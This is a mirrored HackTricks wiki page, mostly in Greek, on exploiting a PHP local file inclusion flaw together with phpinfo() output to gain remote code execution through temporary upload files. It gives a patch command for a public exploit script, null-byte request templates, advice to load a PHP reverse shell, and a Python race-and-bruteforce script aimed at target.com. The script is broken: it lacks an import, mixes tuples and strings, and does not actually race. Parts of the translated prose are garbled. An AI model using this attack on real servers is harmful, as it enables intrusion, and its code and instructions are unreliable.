mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
80 lines
6.8 KiB
Markdown
80 lines
6.8 KiB
Markdown
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: **Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file\_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον φάκελο "/tmp".**
|
||
|
||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||
|
||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||
|
||
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να κάνετε:
|
||
```
|
||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||
```
|
||
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
|
||
|
||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||
|
||
### Theory
|
||
|
||
Αν οι αναφορές επιτρέπονται σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι να ολοκληρωθεί η επεξεργασία του αιτήματος από τον διακομιστή, στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.
|
||
|
||
Στη συνέχεια, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί.
|
||
|
||
Στα **Windows** τα αρχεία αποθηκεύονται συνήθως στο **C:\Windows\temp\php**
|
||
|
||
Στο **linux** το όνομα του αρχείου συνήθως είναι **τυχαίο** και βρίσκεται στο **/tmp**. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να **εξάγετε από κάπου το όνομα του προσωρινού αρχείου** και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της **μεταβλητής $\_FILES** μέσα στο περιεχόμενο της συνάρτησης "**phpconfig()**".
|
||
|
||
**phpinfo()**
|
||
|
||
**PHP** χρησιμοποιεί ένα buffer **4096B** και όταν είναι **γεμάτο**, αποστέλλεται **στον πελάτη**. Στη συνέχεια, ο πελάτης μπορεί να **στείλει** **πολλές μεγάλες αιτήσεις** (χρησιμοποιώντας μεγάλες κεφαλίδες) **ανεβάζοντας ένα php** reverse **shell**, περιμένοντας να **επιστραφεί το πρώτο μέρος του phpinfo()** (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να **αποκτήσει πρόσβαση στο προσωρινό αρχείο** πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
|
||
|
||
**Python script to try to bruteforce the name (if length = 6)**
|
||
```python
|
||
import itertools
|
||
import requests
|
||
import sys
|
||
|
||
print('[+] Trying to win the race')
|
||
f = {'file': open('shell.php', 'rb')}
|
||
for _ in range(4096 * 4096):
|
||
requests.post('http://target.com/index.php?c=index.php', f)
|
||
|
||
|
||
print('[+] Bruteforcing the inclusion')
|
||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||
r = requests.get(url)
|
||
if 'load average' in r.text: # <?php echo system('uptime');
|
||
print('[+] We have got a shell: ' + url)
|
||
sys.exit(0)
|
||
|
||
print('[x] Something went wrong, please try again')
|
||
```
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Υποστήριξη HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|